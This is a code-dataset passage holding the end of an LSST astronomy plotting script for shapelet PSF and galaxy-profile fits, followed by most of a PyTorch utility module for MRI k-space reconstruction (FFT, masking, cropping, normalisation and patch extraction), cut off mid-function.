lsst.afw.image.ImageD(data.getBBox())\n func = model.asMultiShapelet(self.center)\n func.evaluate().addToImage(fit)\n residuals = lsst.afw.image.ImageD(data, True)\n residuals -= fit\n residuals.getArray()[:,:] *= 10.0\n outerEllipse = lsst.afw.geom.ellipses.Quadrupole(model.ellipse)\n outerEllipse.scale(model.radiusRatio)\n ellipses = [\n lsst.afw.geom.ellipses.Ellipse(model.ellipse, self.center),\n lsst.afw.geom.ellipses.Ellipse(outerEllipse, self.center),\n ]\n pyplot.clf()\n pyplot.subplot(1,3,1)\n vmin, vmax = self._plotImage(data, title=\"original PSF model image\", ellipses=ellipses)\n pyplot.subplot(1,3,2)\n self._plotImage(fit, title=\"shapelet fit\", ellipses=ellipses, vmin=vmin, vmax=vmax)\n pyplot.subplot(1,3,3)\n self._plotImage(residuals, title=\"10*(original-shapelets)\", ellipses=ellipses, vmin=vmin, vmax=vmax)\n cax = pyplot.axes([0.1, 0.05, 0.8, 0.025])\n pyplot.colorbar(orientation=\"horizontal\", cax=cax)\n\nclass FitProfileViewer(ViewerBase):\n\n Model = ms.FitProfileModel\n Control = ms.FitProfileControl\n Algorithm = ms.FitProfileAlgorithm\n\n def __init__(self, source, exposure, name=\"exp\", psfCtrl=None, ctrl=None):\n if ctrl is None:\n if name == \"exp\":\n config = ms.FitExponentialConfig()\n else:\n config = ms.FitDeVaucouleurConfig()\n ctrl = config.makeControl()\n if psfCtrl is None:\n psfCtrl = ms.FitPsfControl()\n self.ctrl = ctrl\n self.ctrl.name = \"multishapelet.\" + name\n self.psfModel = ms.FitPsfModel(psfCtrl, source)\n self.saved = self.Model(self.ctrl, source)\n self.center = source.getCentroid()\n self.shape = source.getShape()\n self.inputs = self.Algorithm.adjustInputs(\n self.ctrl, self.psfModel, self.shape, source.getFootprint(), exposure, self.center\n )\n self.footprint = self.inputs.getFootprint()\n self.bbox = self.footprint.getBBox()\n self.image = lsst.afw.image.ImageD(self.bbox)\n self.image.getArray()[:,:] = exposure.getMaskedImage().getImage().getArray()[self.bbox.getSlices()]\n initialEllipse = ms.MultiGaussianObjective.EllipseCore(self.shape)\n opt = self.Algorithm.makeOptimizer(self.ctrl, self.psfModel, initialEllipse, self.inputs)\n maxIter = opt.getControl().maxIter\n self.iterations = [self.Iteration(opt, self)]\n for self.iterCount in range(maxIter):\n opt.step()\n self.iterations.append(self.Iteration(opt, self))\n if opt.getState() & ms.HybridOptimizer.FINISHED:\n break\n self.model = self.Model(self.iterations[-1].model)\n self.Algorithm.fitShapeletTerms(self.ctrl, self.psfModel, self.inputs, self.model)\n\n\n def plot(self, n=None):\n if n is None:\n model = self.model\n optFunc = None\n else:\n optFunc = self.iterations[n].func\n model = self.iterations[n].model\n data = self.image\n fit = lsst.afw.image.ImageD(self.bbox)\n msf = model.asMultiShapelet(self.center).convolve(self.psfModel.asMultiShapelet())\n if optFunc is None:\n optFunc = numpy.zeros(self.inputs.getSize(), dtype=float)\n smb = lsst.shapelet.ModelBuilder(self.inputs.getX(), self.inputs.getY())\n for elem in msf.getComponents():\n smb.update(elem.getEllipse().getCore())\n smb.addModelVector(elem.getOrder(), elem.getCoefficients(), optFunc)\n optFunc *= self.inputs.getWeights()\n optFunc -= self.inputs.getData()\n msf.evaluate().addToImage(fit)\n residuals = lsst.afw.image.ImageD(data, True)\n residuals -= fit\n ellipses = [\n lsst.afw.geom.ellipses.Ellipse(self.shape, self.center),\n lsst.afw.geom.ellipses.Ellipse(model.ellipse, self.center),\n ]\n wData = lsst.afw.image.ImageD(self.bbox)\n wData.getArray()[:,:] = float(\"NaN\")\n lsst.afw.detection.expandArray(self.footprint, self.inputs.getData(), wData.getArray(),\n self.bbox.getBegin())\n wResiduals = lsst.afw.image.ImageD(self.bbox)\n wResiduals.getArray()[:,:] = float(\"NaN\")\n lsst.afw.detection.expandArray(self.footprint, optFunc, wResiduals.getArray(),\n self.bbox.getBegin())\n wFit = lsst.afw.image.ImageD(wResiduals, True)\n wFit += wData\n wResiduals *= -1.0 # want to plot (data - fit); objective computes (fit - data)\n pyplot.clf()\n pyplot.subplot(2,3,1)\n vmin, vmax = self._plotImage(data, title=\"data\", ellipses=ellipses)\n pyplot.subplot(2,3,2)\n self._plotImage(fit, title=\"fit\", ellipses=ellipses, vmin=vmin, vmax=vmax)\n pyplot.subplot(2,3,3)\n self._plotImage(residuals, title=\"data-fit\", ellipses=ellipses, vmin=vmin, vmax=vmax)\n cax = pyplot.axes([0.1, 0.5, 0.8, 0.025])\n pyplot.colorbar(orientation=\"horizontal\", cax=cax)\n\n pyplot.subplot(2,3,4)\n vmin, vmax = self._plotImage(wData, ellipses=ellipses)\n pyplot.subplot(2,3,5)\n self._plotImage(wFit, ellipses=ellipses, vmin=vmin, vmax=vmax)\n pyplot.subplot(2,3,6)\n self._plotImage(wResiduals, ellipses=ellipses, vmin=vmin, vmax=vmax)\n\n cax = pyplot.axes([0.1, 0.05, 0.8, 0.025])\n pyplot.colorbar(orientation=\"horizontal\", cax=cax)\n","sub_path":"examples/viewer.py","file_name":"viewer.py","file_ext":"py","file_size_in_byte":9445,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"175200509","text":"import torch\nimport numpy as np\nimport torch.nn.functional as F\nfrom torch import nn\nimport random\nimport matplotlib.pyplot as plt\n\ndef to_tensor(data):\n \"\"\"\n Convert numpy array to PyTorch tensor. For complex arrays, the real and imaginary parts\n are stacked along the last dimension.\n Args:\n data (np.array): Input numpy array\n Returns:\n torch.Tensor: PyTorch version of data\n \"\"\"\n if np.iscomplexobj(data):\n data = np.stack((data.real, data.imag), axis=-1)\n data = data.astype(np.float32)\n return torch.from_numpy(data)\n\n\ndef apply_mask(data, mask_func, seed=None):\n\n shape = np.array(data.shape)\n shape[:-3] = 1\n mask, acceleration = mask_func(shape, seed)\n mask = mask.to(data.device) # Changed this part here for Pre-loading on GPU.\n return data * mask, mask\n\n\ndef apply_info_mask(data, mask_func, seed=None):\n \"\"\"\n Subsample given k-space by multiplying with a mask.\n Args:\n data (torch.Tensor): The input k-space data. This should have at least 3 dimensions, where\n dimensions -3 and -2 are the spatial dimensions, and the final dimension has size\n 2 (for complex values).\n mask_func (callable): A function that takes a shape (tuple of ints) and a random\n number seed and returns a mask and a dictionary containing information about the masking.\n seed (int or 1-d array_like, optional): Seed for the random number generator.\n Returns:\n (tuple): tuple containing:\n masked data (torch.Tensor): Sub-sampled k-space data\n mask (torch.Tensor): The generated mask\n info (dict): A dictionary containing information about the mask.\n \"\"\"\n shape = np.array(data.shape)\n shape[:-3] = 1\n mask, info = mask_func(shape, seed)\n mask = mask.to(data.device)\n # Checked that this version also removes negative 0 values as well.\n return torch.where(mask == 0, torch.tensor(0, dtype=data.dtype, device=data.device), data), mask, info\n\n\ndef apply_retro_mask(data, mask):\n return torch.where(mask == 0, torch.tensor(0, dtype=data.dtype, device=data.device), data)\n\n\ndef apply_PCmask(data, mask_func, seed=None):\n shape = np.array(data.shape)\n shape[:-3] = 1\n mask, acceleration, mask_holder = mask_func(shape, seed)\n mask = mask.to(data.device) # Changed this part here for Pre-loading on GPU.\n return data * mask, mask, acceleration, mask_holder\n\n\ndef apply_random_mask(data, mask_func, seed=None):\n \"\"\"\n Subsample given k-space by multiplying with a mask.\n Args:\n data (torch.Tensor): The input k-space data. This should have at least 3 dimensions, where\n dimensions -3 and -2 are the spatial dimensions, and the final dimension has size\n 2 (for complex values).\n mask_func (callable): A function that takes a shape (tuple of ints) and a random\n number seed and returns a mask.\n seed (int or 1-d array_like, optional): Seed for the random number generator.\n Returns:\n (tuple): tuple containing:\n masked data (torch.Tensor): Subsampled k-space data\n mask (torch.Tensor): The generated mask\n \"\"\"\n shape = np.array(data.shape)\n shape[:-3] = 1\n mask, type_choice = mask_func(shape, seed)\n mask = mask.to(data.device) # Changed this part here for Pre-loading on GPU.\n return data * mask, mask, type_choice\n\n\ndef fft2(data):\n \"\"\"\n Apply centered 2 dimensional Fast Fourier Transform.\n Args:\n data (torch.Tensor): Complex valued input data containing at least 3 dimensions: dimensions\n -3 & -2 are spatial dimensions and dimension -1 has size 2. All other dimensions are\n assumed to be batch dimensions.\n Returns:\n torch.Tensor: The FFT of the input.\n \"\"\"\n assert data.size(-1) == 2\n data = ifftshift(data, dim=(-3, -2))\n data = torch.fft(data, 2, normalized=True)\n data = fftshift(data, dim=(-3, -2))\n return data\n\n\ndef ifft2(data):\n \"\"\"\n Apply centered 2-dimensional Inverse Fast Fourier Transform.\n Args:\n data (torch.Tensor): Complex valued input data containing at least 3 dimensions: dimensions\n -3 & -2 are spatial dimensions and dimension -1 has size 2. All other dimensions are\n assumed to be batch dimensions.\n Returns:\n torch.Tensor: The IFFT of the input.\n \"\"\"\n assert data.size(-1) == 2\n data = ifftshift(data, dim=(-3, -2))\n data = torch.ifft(data, 2, normalized=True)\n data = fftshift(data, dim=(-3, -2))\n return data\n\n\ndef fft1(data, direction):\n \"\"\"\n Apply centered, normalized 1 dimensional Fast Fourier Transform along the height axis.\n Super-inefficient implementation where the Inverse Fourier Transform is applied to the last (width) axis again.\n This is because there is no Pytorch native implementation for controlling FFT axes.\n Also, this is (probably) faster than permuting the tensor repeatedly.\n Args:\n data (torch.Tensor): Complex valued input data containing at least 3 dimensions: dimensions\n -3 & -2 are spatial dimensions and dimension -1 has size 2. All other dimensions are\n assumed to be batch dimensions.\n direction (str): Direction that the FFT is to be performed.\n Not using `dim` or `axis` as keyword to reduce confusion.\n Unfortunately, Pytorch has no complex number data type for fft, so axis dims are different.\n Returns:\n torch.Tensor: The FFT of the input.\n \"\"\"\n assert data.size(-1) == 2\n assert direction in ('height', 'width'), 'direction must be either height or width.'\n\n # Push height dimension to last meaningful axis for FFT.\n if direction == 'height':\n data = data.transpose(dim0=-3, dim1=-2)\n\n data = ifftshift(data, dim=-2)\n data = torch.fft(data, signal_ndim=1, normalized=True)\n data = fftshift(data, dim=-2)\n\n # Restore height dimension to its original location.\n if direction == 'height':\n data = data.transpose(dim0=-3, dim1=-2)\n\n return data\n\n\ndef ifft1(data, direction):\n \"\"\"\n Apply centered, normalized 1 dimensional Inverse Fast Fourier Transform along the height axis.\n Super-inefficient implementation where the Fourier Transform is applied to the last (width) axis again.\n This is because there is no Pytorch native implementation for controlling IFFT axes.\n Also, this is (probably) faster than permuting the tensor repeatedly.\n Args:\n data (torch.Tensor): Complex valued input data containing at least 3 dimensions: dimensions\n -3 & -2 are spatial dimensions and dimension -1 has size 2. All other dimensions are\n assumed to be batch dimensions.\n direction (str): Direction that the IFFT is to be performed.\n Not using `dim` or `axis` as keyword to reduce confusion.\n Unfortunately, Pytorch has no complex number data type for fft, so axis dims are different.\n Returns:\n torch.Tensor: The IFFT of the input.\n \"\"\"\n assert data.size(-1) == 2\n assert direction in ('height', 'width'), 'direction must be either height or width.'\n\n if direction == 'height': # Push height dimension to last meaningful axis for IFFT.\n data = data.transpose(dim0=-3, dim1=-2)\n\n data = ifftshift(data, dim=-2)\n data = torch.ifft(data, signal_ndim=1, normalized=True)\n data = fftshift(data, dim=-2)\n\n if direction == 'height': # Restore height dimension to its original location.\n data = data.transpose(dim0=-3, dim1=-2)\n\n return data\n\n\ndef complex_abs(data):\n \"\"\"\n Compute the absolute value of a complex valued input tensor.\n Args:\n data (torch.Tensor): A complex valued tensor, where the size of the final dimension\n should be 2.\n Returns:\n torch.Tensor: Absolute value of data\n \"\"\"\n assert data.size(-1) == 2\n return (data ** 2).sum(dim=-1).sqrt()\n\n\ndef fake_input_gen(data, mask):\n \"\"\"\n From reconstructed image, mask k-space again for k-space fidelity term\n :param\n data: reconstructed image data\n mask: mask to undersample k-space data\n :return:\n under_im\n \"\"\"\n full_k = kspace_to_nchw(fft2(nchw_to_kspace(data)))\n under_k = apply_retro_mask(full_k, mask)\n under_im = kspace_to_nchw(ifft2(nchw_to_kspace(under_k)))\n\n return under_im\n\n\ndef fake_input_gen_rss(data, mask):\n \"\"\"\n From reconstructed image, mask k-space again for k-space fidelity term\n :param\n data: reconstructed image data\n mask: mask to undersample k-space data\n :return:\n under_im\n \"\"\"\n full_k = kspace_to_nchw(fft2(nchw_to_kspace(data)))\n under_k = apply_retro_mask(full_k, mask)\n under_im = kspace_to_nchw(ifft2(nchw_to_kspace(under_k)))\n rss_under_im = root_sum_of_squares(under_im, dim=1).squeeze()\n\n return rss_under_im, under_k\n\n\ndef proj_mask(data, mask):\n under_k = apply_retro_mask(data, mask)\n return under_k\n\n\ndef fake_input_gen_hc(data, mask):\n \"\"\"\n From reconstructed image, mask k-space again for k-space fidelity term\n :param\n data: reconstructed k-space data\n mask: mask to undersample k-space data\n :return:\n under_im\n \"\"\"\n under_k = apply_retro_mask(data, mask)\n full_under_im = ifft2(under_k)\n hc_under_im = complex_height_crop(full_under_im, 320)\n under_im = kspace_to_nchw(hc_under_im)\n\n return under_im\n\n\ndef root_sum_of_squares(data, dim=0):\n \"\"\"\n Compute the Root Sum of Squares (RSS) transform along a given dimension of a tensor.\n Args:\n data (torch.Tensor): The input tensor\n dim (int): The dimensions along which to apply the RSS transform\n Returns:\n torch.Tensor: The RSS value\n \"\"\"\n return torch.sqrt((data ** 2).sum(dim))\n\n\ndef Ssos_mip(data, dim=0, slice=3):\n \"\"\"\n Compute Ssos (RSS) two the multislice data, and compute MIP in the stacked ssos images\n Args:\n data (torch.Tensor): The input tensor\n dim (int): The dimensions along which to apply ssos\n slice (int): Number of slices that were concatenated to form a 2.5D slice\n Returns:\n rss_data_stack (torch.Tensor) : ssos images stacked into the specified dimension\n mip_data (torch.Tensor) : A single mip image with mip held in the specified dimension\n \"\"\"\n ch = data.shape[1] // slice\n split_data = torch.split(data, ch, dim=dim)\n rss_data_list = list()\n for i in range(slice):\n rss_data = root_sum_of_squares(split_data[i], dim=dim).unsqueeze(dim=dim)\n rss_data_list.append(rss_data)\n rss_data_stack = torch.cat(rss_data_list, dim=dim)\n mip_data = torch.max(rss_data_stack, dim=dim)\n\n return rss_data_stack, mip_data.values\n\n\ndef pre_RSS(image_recons, image_targets):\n assert image_recons.size() == image_targets.size()\n\n image_recons = root_sum_of_squares(image_recons)\n image_targets = root_sum_of_squares(image_targets)\n\n return image_recons, image_targets\n\n\ndef center_crop(data, shape):\n \"\"\"\n Apply a center crop to the input real image or batch of real images.\n Args:\n data (torch.Tensor): The input tensor to be center cropped. It should have at\n least 2 dimensions and the cropping is applied along the last two dimensions.\n shape (int, int): The output shape. The shape should be smaller than the\n corresponding dimensions of data.\n Returns:\n torch.Tensor: The center cropped image\n \"\"\"\n assert 0 < shape[0] <= data.shape[-2]\n assert 0 < shape[1] <= data.shape[-1]\n w_from = (data.shape[-2] - shape[0]) // 2\n h_from = (data.shape[-1] - shape[1]) // 2\n w_to = w_from + shape[0]\n h_to = h_from + shape[1]\n return data[..., w_from:w_to, h_from:h_to]\n\n\ndef complex_center_crop(data, shape):\n \"\"\"\n Apply a center crop to the input image or batch of complex images.\n Args:\n data (torch.Tensor): The complex input tensor to be center cropped. It should\n have at least 3 dimensions and the cropping is applied along dimensions\n -3 and -2 and the last dimensions should have a size of 2.\n shape (int, int): The output shape. The shape should be smaller than the\n corresponding dimensions of data.\n Returns:\n torch.Tensor: The center cropped image\n \"\"\"\n assert 0 < shape[0] <= data.shape[-3]\n assert 0 < shape[1] <= data.shape[-2]\n w_from = (data.shape[-3] - shape[0]) // 2\n h_from = (data.shape[-2] - shape[1]) // 2\n w_to = w_from + shape[0]\n h_to = h_from + shape[1]\n return data[..., w_from:w_to, h_from:h_to, :]\n\n\ndef complex_height_crop(data, height_shape):\n\n assert 0 < height_shape <= data.shape[-3]\n h_from = (data.shape[-3] - height_shape) // 2\n h_to = h_from + height_shape\n return data[..., h_from:h_to, :, :]\n\n\ndef complex_width_crop(data, width_shape):\n\n assert 0 < width_shape <= data.shape[-2]\n w_from = (data.shape[-2] - width_shape) // 2\n w_to = w_from + width_shape\n return data[..., w_from:w_to, :]\n\n\ndef width_crop(data, width_shape):\n w_from = (data.shape[-1] - width_shape) // 2\n w_to = w_from + width_shape\n return data[..., w_from:w_to]\n\n\ndef normalize(data, mean, stddev, eps=0.):\n \"\"\"\n Normalize the given tensor using:\n (data - mean) / (stddev + eps)\n Args:\n data (torch.Tensor): Input data to be normalized\n mean (float): Mean value\n stddev (float): Standard deviation\n eps (float): Added to stddev to prevent dividing by zero\n Returns:\n torch.Tensor: Normalized tensor\n \"\"\"\n return (data - mean) / (stddev + eps)\n\n\ndef normalize_instance(data, eps=0.):\n \"\"\"\n Normalize the given tensor using:\n (data - mean) / (stddev + eps)\n where mean and stddev are computed from the data itself.\n Args:\n data (torch.Tensor): Input data to be normalized\n eps (float): Added to stddev to prevent dividing by zero\n Returns:\n torch.Tensor: Normalized tensor\n \"\"\"\n mean = data.mean()\n std = data.std()\n return normalize(data, mean, std, eps), mean, std\n\n\n# Helper functions\n\ndef roll(x, shift, dim):\n \"\"\"\n Similar to np.roll but applies to PyTorch Tensors\n \"\"\"\n if isinstance(shift, (tuple, list)):\n assert len(shift) == len(dim)\n for s, d in zip(shift, dim):\n x = roll(x, s, d)\n return x\n shift = shift % x.size(dim)\n if shift == 0:\n return x\n left = x.narrow(dim, 0, x.size(dim) - shift)\n right = x.narrow(dim, x.size(dim) - shift, shift)\n return torch.cat((right, left), dim=dim)\n\n\ndef fftshift(x, dim=None):\n \"\"\"\n Similar to np.fft.fftshift but applies to PyTorch Tensors\n \"\"\"\n if dim is None:\n dim = tuple(range(x.dim()))\n shift = [dim // 2 for dim in x.shape]\n elif isinstance(dim, int):\n shift = x.shape[dim] // 2\n else:\n shift = [x.shape[i] // 2 for i in dim]\n return roll(x, shift, dim)\n\n\ndef ifftshift(x, dim=None):\n \"\"\"\n Similar to np.fft.ifftshift but applies to PyTorch Tensors\n \"\"\"\n if dim is None:\n dim = tuple(range(x.dim()))\n shift = [(dim + 1) // 2 for dim in x.shape]\n elif isinstance(dim, int):\n shift = (x.shape[dim] + 1) // 2\n else:\n shift = [(x.shape[i] + 1) // 2 for i in dim]\n return roll(x, shift, dim)\n\n\ndef tensor_to_complex_np(data):\n \"\"\"\n Converts a complex torch tensor to numpy array.\n Args:\n data (torch.Tensor): Input data to be converted to numpy.\n Returns:\n np.array: Complex numpy version of data\n \"\"\"\n data = data.numpy()\n return data[..., 0] + 1j * data[..., 1]\n\n\n# My k-space transforms\ndef k_slice_to_chw(tensor):\n \"\"\"\n Convert torch tensor in (Coil, Height, Width, Complex) 4D k-slice format to\n (C, H, W) 3D format for processing by 2D CNNs.\n\n `Complex` indicates (real, imag) as 2 channels, the complex data format for Pytorch.\n\n C is the coils interleaved with real and imaginary values as separate channels.\n C is therefore always 2 * Coil.\n\n Singlecoil data is assumed to be in the 4D format with Coil = 1\n\n Args:\n tensor (torch.Tensor): Input data in 4D k-slice tensor format.\n Returns:\n tensor (torch.Tensor): tensor in 3D CHW format to be fed into a CNN.\n \"\"\"\n assert isinstance(tensor, torch.Tensor)\n assert tensor.dim() == 4\n s = tensor.shape\n assert s[-1] == 2\n tensor = tensor.permute(dims=(0, 3, 1, 2)).reshape(shape=(2 * s[0], s[1], s[2]))\n return tensor\n\n\ndef ej_kslice_to_chw(tensor):\n import ipdb; ipdb.set_trace()\n assert isinstance(tensor, torch.Tensor)\n assert tensor.dim() == 4\n s = tensor.shape\n assert s[-1] == 2\n tensor = tensor.permute(dims=(0, 3, 1, 2)).reshape(shape=(2 * s[0], s[0], s[1]))\n return tensor\n\n\ndef ej_permute(tensor):\n \"\"\"\n Converts eunju dataset given as (H, W, C, 2) format to (C, H, W, 2)\n \"\"\"\n assert isinstance(tensor, torch.Tensor)\n assert tensor.dim() == 4\n s = tensor.shape\n assert s[-1] == 2\n tensor = tensor.permute(dims=(2, 0, 1, 3))\n\n return tensor\n\n\ndef ej_permute_bchw(tensor):\n \"\"\"\n Converts eunju dataset given as (H, W, C, 2) format to (C, H, W, 2)\n \"\"\"\n assert isinstance(tensor, torch.Tensor), 'input must be type torch tensor'\n assert tensor.dim() == 5, 'Dimension must be BxCxHxWx2'\n s = tensor.shape\n assert s[-1] == 2\n tensor = tensor.permute(dims=(0, 3, 1, 2, 4))\n\n return tensor\n \n\n\ndef chw_to_k_slice(tensor):\n \"\"\"\n Convert a torch tensor in (C, H, W) format to the (Coil, Height, Width, Complex) format.\n\n This assumes that the real and imaginary values of a coil are always adjacent to one another in C.\n \"\"\"\n assert isinstance(tensor, torch.Tensor)\n assert tensor.dim() == 3\n s = tensor.shape\n assert s[0] % 2 == 0\n tensor = tensor.view(size=(s[0] // 2, 2, s[1], s[2])).permute(dims=(0, 2, 3, 1))\n return tensor\n\n\ndef kspace_to_nchw(tensor):\n \"\"\"\n Convert torch tensor in (Slice, Coil, Height, Width, Complex) 5D format to\n (N, C, H, W) 4D format for processing by 2D CNNs.\n\n Complex indicates (real, imag) as 2 channels, the complex data format for Pytorch.\n\n C is the coils interleaved with real and imaginary values as separate channels.\n C is therefore always 2 * Coil.\n\n Singlecoil data is assumed to be in the 5D format with Coil = 1\n\n Args:\n tensor (torch.Tensor): Input data in 5D kspace tensor format.\n Returns:\n tensor (torch.Tensor): tensor in 4D NCHW format to be fed into a CNN.\n \"\"\"\n assert isinstance(tensor, torch.Tensor)\n assert tensor.dim() == 5\n s = tensor.shape\n assert s[-1] == 2\n tensor = tensor.permute(dims=(0, 1, 4, 2, 3)).reshape(shape=(s[0], 2 * s[1], s[2], s[3]))\n return tensor\n\n\ndef nchw_to_kspace(tensor):\n \"\"\"\n Convert a torch tensor in (N, C, H, W) format to the (Slice, Coil, Height, Width, Complex) format.\n\n This function assumes that the real and imaginary values of a coil are always adjacent to one another in C.\n \"\"\"\n assert isinstance(tensor, torch.Tensor)\n assert tensor.dim() == 4\n s = tensor.shape\n assert s[1] % 2 == 0\n tensor = tensor.view(size=(s[0], s[1] // 2, 2, s[2], s[3])).permute(dims=(0, 1, 3, 4, 2))\n return tensor\n\n\ndef split_four_cols(tensor):\n b, c, h, w, ri = tensor.shape\n\n holder0 = torch.zeros([b, c, h, int(w / 4), ri]).to(device='cuda:0')\n holder1 = torch.zeros([b, c, h, int(w / 4), ri]).to(device='cuda:0')\n holder2 = torch.zeros([b, c, h, int(w / 4), ri]).to(device='cuda:0')\n holder3 = torch.zeros([b, c, h, int(w / 4), ri]).to(device='cuda:0')\n\n for i in range(w):\n if i % 4 == 0:\n holder0[:, :, :, i // 4, :] = tensor[:, :, :, i, :]\n if i % 4 == 1:\n holder1[:, :, :, i // 4, :] = tensor[:, :, :, i, :]\n if i % 4 == 2:\n holder2[:, :, :, i // 4, :] = tensor[:, :, :, i, :]\n if i % 4 == 3:\n holder3[:, :, :, i // 4, :] = tensor[:, :, :, i, :]\n\n return holder0, holder1, holder2, holder3\n\n\ndef stack_for_vis(tensor):\n\n b, c4, h, w_4 = tensor.shape\n c = int(c4/4)\n w = w_4 * 4\n\n chunked_tensor = torch.chunk(tensor, chunks=4, dim=1)\n\n holder = torch.zeors([b, c, h, w])\n for i in range(w):\n if i % 4 == 0:\n holder[..., i] = chunked_tensor[0][..., i]\n elif i % 4 == 1:\n holder[..., i] = chunked_tensor[1][..., i]\n elif i % 4 == 2:\n holder[..., i] = chunked_tensor[2][..., i]\n elif i % 4 == 3:\n holder[..., i] = chunked_tensor[3][..., i]\n\n return holder\n\n\ndef stack_for_vis_all(img_inputs, img_recons, img_targets):\n\n s_img_inputs = stack_for_vis(img_inputs)\n s_img_recons = stack_for_vis(img_recons)\n s_img_targets = stack_for_vis(img_targets)\n\n return s_img_inputs, s_img_recons, s_img_targets\n\n\ndef log_weighting(tensor, scale=1):\n assert scale > 0, '`scale` must be a positive value.'\n return scale * torch.sign(tensor) * torch.log1p(torch.abs(tensor))\n\n\ndef exp_weighting(tensor, scale=1):\n assert scale > 0, '`scale` must be a positive value.'\n return torch.sign(tensor) * torch.expm1(torch.abs(tensor) * (1 / scale))\n\n\ndef pad_FCF(tensor, divisor=32):\n\n margin = tensor.size(-2) % divisor\n if margin > 0:\n pad = [(divisor - margin) // 2, (1 + divisor - margin) // 2]\n pad2 = [0, 0, (divisor - margin) // 2, (1 + divisor - margin) // 2]\n else: # This is a temporary fix to prevent padding by half the divisor when margin=0.\n pad = [0, 0]\n pad2 = [0, 0, 0, 0]\n\n outputs = F.pad(tensor, pad=pad2, value=0)\n\n return outputs\n\n# normalize tensor so that we can save it as an image or visualize it on tensorboard\ndef normalize_im(tensor):\n large = torch.max(tensor).cpu().data\n small = torch.min(tensor).cpu().data\n diff = large - small\n\n normalized_tensor = (tensor.clamp(min=small, max=large) - small) * (torch.tensor(1) / diff)\n\n return normalized_tensor\n\n\ndef visualize_im(tensor):\n normalized_tensor = normalize_im(tensor.squeeze())\n tensor_np = normalized_tensor.cpu().detach().numpy()\n\n plt.imshow(tensor_np, cmap='gray')\n plt.show()\n\n\ndef kspace_transform(inputs, outputs):\n assert inputs.shape == outputs.shape, \"Input and Output shape should be the same\"\n k_inputs = kspace_to_nchw(fft2(nchw_to_kspace(inputs)))\n k_outputs = kspace_to_nchw(fft2(nchw_to_kspace(outputs)))\n return k_inputs, k_outputs\n\n\ndef kspace_transform_single(inputs):\n k_inputs = kspace_to_nchw(fft2(nchw_to_kspace(inputs)))\n return k_inputs\n\ndef split_slices(inputs, slice):\n inputs_list = list()\n ch = inputs.shape[1] // slice\n for i in range(slice):\n inputs_list.append(inputs[:, i*ch:(i+1)*ch, :, :])\n return inputs_list\n\ndef fft2_single(inputs):\n k_inputs = kspace_to_nchw(fft2(nchw_to_kspace(inputs)))\n return k_inputs\n\n\ndef ifft2_single(inputs):\n k_inputs = kspace_to_nchw(ifft2(nchw_to_kspace(inputs)))\n return k_inputs\n\n# Given input and target are images, not k-space\n# Consequently, we use fft to change domains\ndef Hard_DC_img(input, target, mask):\n DC = fft2_single(input) # consistent part where only the sampled part are non-zero\n NDC = fft2_single(target) * (1 - mask) # non-consistent part where k-space is interpolated\n output_k = DC + NDC\n output = ifft2_single(output_k)\n return output\n\n\nclass Adaptive_DC(nn.Module):\n\n def __init__(self):\n super().__init__()\n self.lambda_DC = nn.Parameter(torch.tensor(0.0, dtype=torch.float)) # Initialize with 0\n\n def forward(self, input, recon, mask):\n DC = fft2_single(input)\n # The k-space part that was interpolated with NN\n NDC = fft2_single(recon) * (1 - mask)\n # The k-space part that was changed while interpolation process\n new_DC = DC * self.lambda_DC + (fft2_single(recon) * mask) * (1 - self.lambda_DC)\n output_k = new_DC + NDC\n return ifft2_single(output_k)\n\n\ndef add_gaussian_noise(input, device, std_ratio=0.05):\n mean = input.mean()\n std = input.std()\n\n return input + mean + (std * std_ratio) * torch.randn(input.shape, device=device)\n\n\ndef extract_patch(inputs, targets, patch_size=128):\n assert inputs.dim() == 4, \"Tensor should be batched and have dimension 4\"\n assert isinstance(inputs, torch.Tensor), \"Input data should be torch tensor\"\n assert isinstance(targets, torch.Tensor), \"Input data should be torch tensor\"\n\n with torch.no_grad():\n h = inputs.shape[-2]\n w = inputs.shape[-1]\n\n start_h = random.randint(0, h - (patch_size + 1))\n start_w = random.randint(0, w - (patch_size + 1))\n\n patch_inputs = inputs[:, :, start_h:start_h + patch_size, start_w:start_w + patch_size]\n patch_targets = targets[:, start_h:start_h + patch_size, start_w:start_w + patch_size]\n\n assert patch_inputs.shape[-1] == patch_size\n assert patch_inputs.shape[-1] == patch_size\n\n return patch_inputs, patch_targets\n\n\ndef extract_patch_transform_single(inputs, patch_size=128):\n assert isinstance(inputs, torch.Tensor), \"Input data should be torch tensor\"\n\n with torch.no_grad():\n h = inputs.shape[-2]\n w = inputs.shape[-1]\n\n start_h = random.randint(0, h - (patch_size + 1))\n start_w = random.randint(0, w - (patch_size + 1))\n\n patch_inputs = inputs[:, :, start_h:start_h + patch_size, start_w:start_w + patch_size]\n\n return patch_inputs\n\n\n# Use this function when you want to extract patch inside the input_transform function\ndef extract_patch_transform(inputs, targets, patch_size=128):\n assert isinstance(inputs, torch.Tensor), \"Input data should be torch tensor\"\n assert isinstance(targets, torch.Tensor), \"Input data should be torch tensor\"\n\n with torch.no_grad():\n h = inputs.shape[-2]\n w = inputs.shape[-1]\n\n start_h = random.randint(0, h - (patch_size + 1))\n start_w = random.randint(0, w - (patch_size + 1))\n\n patch_inputs = inputs[:, :, start_h:start_h + patch_size, start_w:start_w + patch_size]\n patch_targets = targets[:, :, start_h:start_h + patch_size, start_w:start_w + patch_size]\n\n return patch_inputs, patch_targets\n\n\ndef extract_patch_transform_proj(inputs, targets, proj, patch_size=128):\n assert isinstance(inputs, torch.Tensor), \"Input data should be torch tensor\"\n assert isinstance(targets, torch.Tensor), \"Input data should be torch tensor\"\n\n with torch.no_grad():\n h = inputs.shape[-2]\n w = inputs.shape[-1]\n\n start_h = random.randint(0, h - (patch_size + 1))\n start_w = random.randint(0, w - (patch_size + 1))\n\n patch_inputs = inputs[:, :, start_h:start_h + patch_size, start_w:start_w + patch_size]\n patch_targets = targets[:, :, start_h:start_h + patch_size, start_w:start_w + patch_size]\n patch_proj = proj[:, :, start_h:start_h + patch_size, start_w:start_w + patch_size]\n\n return patch_inputs, patch_targets, patch_proj\n\n\ndef extract_patch_transform_inference(inputs, dims=2, patch_size=128, stride=64):\n assert isinstance(inputs, torch.Tensor), \"Input data should be torch tensor\"\n ps = patch_size\n s = stride\n with torch.no_grad():\n if dims == 2:\n h = inputs.shape[-2]\n w = inputs.shape[-1]\n\n hs = ((h - ps) // s) + 1\n ws = ((w - ps) // s) + 1\n\n inputs_list = list()\n # if np.mod(h, stride) == 0:\n # for i in range(hs):\n # for j in range(ws):\n # inputs_list.append(inputs[:, :, i*s:i*s+ps, 